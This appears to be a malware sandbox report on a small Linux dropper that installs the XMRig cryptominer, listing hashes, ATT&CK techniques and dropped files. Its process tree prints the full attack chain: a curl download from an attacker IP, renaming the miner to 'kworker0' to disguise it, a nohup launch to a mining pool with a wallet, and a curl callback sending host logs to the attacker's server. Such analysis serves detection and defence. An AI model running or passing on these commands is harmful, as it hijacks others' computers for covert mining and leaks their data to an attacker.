xmrig | 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379

Analysis

max time kernel
23s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/10/2026, 04:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Size 779B
Sample261021-e6vnbaeb89
SHA256 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
MD5 b3e97321db59a3ca78f8bc58e170b355
SHA1 69bfe4e73f9dc9f113aaf0899efc8cc5b7c31574
SHA512 c294d1da341b6db1d005cd7114a5508aae6c5f20e6d5f9bd95c372d6ab39e2814cc75dd60c20fd7d8067e0a18ffe0160bf2e1945ba634dca0fd43564863ab32d
TLSH
T1FB01FDF4BE20CC74374CC032AA1E527AE48A675B38B76A8AA0D398BC004D992B80D751
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-8.dat	family_xmrig
behavioral2/files/fstream-8.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
677	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/kworker0	678	nohup

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
760	ps

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/283/stat	ps
File opened for reading	/proc/590/stat	ps
File opened for reading	/proc/761/stat	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/140/status	ps
File opened for reading	/proc/159/stat	ps
File opened for reading	/proc/295/status	ps
File opened for reading	/proc/644/stat	ps
File opened for reading	/proc/680/stat	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/302/status	ps
File opened for reading	/proc/324/status	ps
File opened for reading	/proc/663/status	ps
File opened for reading	/proc/758/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/169/status	ps
File opened for reading	/proc/322/status	ps
File opened for reading	/proc/566/status	ps
File opened for reading	/proc/591/status	ps
File opened for reading	/proc/759/cmdline	ps
File opened for reading	/proc/760/stat	ps
File opened for reading	/proc/760/cmdline	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/28/cmdline	ps
File opened for reading	/proc/98/stat	ps
File opened for reading	/proc/109/stat	ps
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/283/status	ps
File opened for reading	/proc/298/status	ps
File opened for reading	/proc/322/stat	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/295/cmdline	ps
File opened for reading	/proc/566/cmdline	ps
File opened for reading	/proc/632/stat	ps
File opened for reading	/proc/632/cmdline	ps
File opened for reading	/proc/641/cmdline	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/29/cmdline	ps
File opened for reading	/proc/759/status	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/680/status	ps
File opened for reading	/proc/761/status	ps
File opened for reading	/proc/761/cmdline	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/98/cmdline	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
767	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/one.log	893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
File opened for modification	/tmp/x.tgz	curl
File opened for modification	/tmp/xmrig-6.22.2/config.json	tar
File opened for modification	/tmp/xmrig-6.22.2/SHA256SUMS	tar
File opened for modification	/tmp/xmrig-6.22.2/xmrig	tar
File opened for modification	/tmp/miner.log	893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
File opened for modification	/tmp/S�@@p�~@8	sh

/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
1⤵
- Writes file to tmp directory
PID:644
- /bin/date
  date
  2⤵
  PID:646
- /usr/bin/curl
  curl -m 120 -o /tmp/x.tgz http://195.85.114.192/xmrig.tar.gz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:649
- /usr/bin/stat
  stat -c "%s" /tmp/x.tgz
  2⤵
  PID:673
- /bin/tar
  tar xzf x.tgz
  2⤵
  - Writes file to tmp directory
  PID:674
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:675
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:675
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:675
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:675
- - /sbin/gzip
    gzip -d
    3⤵
    PID:675
- - /bin/gzip
    gzip -d
    3⤵
    PID:675
- /bin/mv
  mv xmrig-6.22.2/xmrig kworker0
  2⤵
  PID:676
- /bin/chmod
  chmod +x kworker0
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /bin/sleep
  sleep 20
  2⤵
  PID:679
- /usr/bin/nohup
  nohup /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  - Executes dropped EXE
  PID:678
- /tmp/kworker0
  /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  PID:678
- /bin/sh
  /bin/sh /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  - Writes file to tmp directory
  PID:678
- /bin/grep
  grep -c kworke
  2⤵
  PID:761
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:760
- /usr/bin/tr
  tr -d "\"n"
  2⤵
  PID:764
- /usr/bin/tail
  tail -c 400 /tmp/one.log
  2⤵
  PID:763
- /usr/bin/tr
  tr "\"" "\"" "\"_\""
  2⤵
  PID:766
- /usr/bin/curl
  curl -m 8 "http://195.85.114.192/cb?ip=HOST1&log=peed Time Time Time Curret Dload Upload Total Spet Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 3427k 0 10674 0 0 60948 0 0:00:57 --:--:-- 0:00:57 64301 100 3427k 100 3427k 0 0 3368k 0 0:00:01 0:00:01 --:--:-- 3403k dl rc=0 size=3509741 tar ok lauched procs=11"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:767

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

miner.log

Path /tmp/miner.log
Size 53B
SHA256 cd4fc8b42b8f6d1cda88bd45d18754b17c7bab3dc2edd1ebf8c0772302c4d1a3
MD5 7972308cc4bf789701854045187ea7a5
SHA1 a9f4a1f163e512399d02ca17a7ff62d724f096c3
SHA512 bcc01d52f530e48eeb441e2bcf178b05633af3509259391dcb89e02eeacfd5816de20b40e4dbb628ca9ee21ab66df084fdb085b6ee375fe51bf864ccb0fa777d
MD5 SHA1 SHA512

Submit Download

miner.log

Path /tmp/miner.log
Size 127B
SHA256 57d5bdd729640f67141cd10540b6fcad5ec16f1e3995d462550a6cd3dda29e38
MD5 829842534587055b4ce9aa862e3db8e7
SHA1 5940fac68338a91da30537f3f3d98616fcfd124a
SHA512 7d6b480b586b147d0cb7240408fb54998b59a14f29fa9187a013ce3de69dc4eb9201542543432eff5b799c62a76b0983793e1273a52529c635352b7c2b28981d
TLSH
T1C0B0121D0DC2C5C4371001F44E600760C1010EBF1EF32117085FC03B40C7C008C54748
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 483B
SHA256 937ba12186bd5bcefe821c6f99a6a72c87d11e31a8a34e6499ecbff55229900b
MD5 4920b5862c4170a8fd464aab1db834ce
SHA1 416b175819c9ddfa922903a15f1b24dc48319d63
SHA512 01948f539145e6ebb440bc05fcf9936b46c5ba588a4ac266626d97e9ea62d65de51385cead27936bee8254e8b939480b7ca1e8805d9e2a52dcb5da3476861a55
TLSH
T1F2F0ED090E24011EA2F9D1447111E6BAB75C924E2D92A9933ACD01C8DBBB746DEC34C2
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 41B
SHA256 de897bc820189f0868bcff7df34ef2fc6d378a38ce8cd17c1ba3f03dc7e3ae3f
MD5 b185b703482f6377052f33329d262d72
SHA1 4c3a604dc2e22be9609baddba33baaa718e07da2
SHA512 e709b82f0d78f6a7b2c4ebadce794e84e47cf6eaaf3fea2e8dc726a65b58358f6f2ff1996675ce4edb4f27e4e50db8e3679ef413d87ad3a8d98cefff50ca97c7
MD5 SHA1 SHA512

Submit Download

one.log

Path /tmp/one.log
Size 437B
SHA256 3139d0706869bb77533f050bcc0f3b4462d2e064cd67be7bb8e224ae2df5f7fd
MD5 b01a57de3d116f9876c5e718d5120460
SHA1 628f4d8d2779a198d3c055876a84f94f75591b5e
SHA512 e794f22d32d5772bbe87a199967aa431de426141e83e4c0d3be0fad6afd3a754451b1ecfa9e6505df83ff8763bf02dde77e55cbf0dbd5abdf72a6194ef86e5b5
TLSH
T109E0DF091E24421FA2F9D1457101E6BAF75C818E2D42E8933ACD01C8C7B7B03DEC31C2
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 458B
SHA256 853e5e7993c8e9929985d3d270e8e6650d5d766f963537ee3351b310351ab206
MD5 9e8068763461a0f79dfe15a74a1d4750
SHA1 1e32b7361c5775e47d17a375c82bfbc32e1b2ecf
SHA512 13059b6042d82890a3b08bb212532a6c5a0712c5b5f1486712e191bff5c1010c3d1af19ef6ca3d3ac9be6d25efc7beac228796e20469ace0dbeda5a7c37a596b
TLSH
T1ECF022090E24011EA2F4D1407101E6BAB74C814E2D52A4C33ACD01C8C7B7743DEC30C2
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 465B
SHA256 d5fbda5c1cdd7ec41437a06c3659c2a1e0b7a807c17bccae24ce3440c41984fe
MD5 dd6730d6acebc607ffc1d39390782ad6
SHA1 6439ec512e0cab884fa17736e0c347490f6a6dd1
SHA512 1bdb12b54885b9c43c445150301492809a066083f43bd72fbef160fd0e18c8b3a512d7aac9e9eb8cdb0fdc1f83ba4edf4b6572093f7a38d54b404d48e895c762
TLSH
T180F0ED090E24011EA2F8D1407101E6BAB75C824E2D52A8833ACD01C8D7B7742DEC30C2
MD5 SHA1 SHA512 TLSH

Submit Download

x.tgz

Path /tmp/x.tgz
Size 3.3MB
SHA256 b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
MD5 8feb9a1c7da97b6e0d254d93da37371d
SHA1 090510d9ac1aedbce99fe98cc7396cfcfe6a3951
SHA512 2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
SSDEEP 98304:z76rYWTjsJINfKYi8t4jQ8Vf1nShTOSBU+:z76NfN7TW2T3F
TLSH
T14CF5335F9711B7C7122820EE5362B60A4B0C6895EC167BC4A5F1692A366F1CF237FD23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.22.2/SHA256SUMS
Size 150B
SHA256 cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
MD5 554d057fe1c4eab2071450cf6c434dc5
SHA1 9fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA512 be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
TLSH
T15FC08C52463CC4515422C923AA91DD94832636122753598940ABA21696AAE02CDB3C20
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.22.2/config.json
Size 2KB
SHA256 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
MD5 66f38c96a4901e7b345787c447842b3e
SHA1 2aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA512 71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
TLSH
T16E419E25C9781CFA0295A0BC88EDA2934628C1075F593C7CB54C995C2F0E73E76B6BE2
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.22.2/xmrig
Size 7.9MB
SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
MD5 8f4fff0ded94f1141768220906abfbb8
SHA1 ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA512 0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepM:bl4lcmDi1WIPFCBNcJ7oEkLsQ
TLSH
T134866C47B5E318FDC19AC470472FD6A3BD7078A84221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads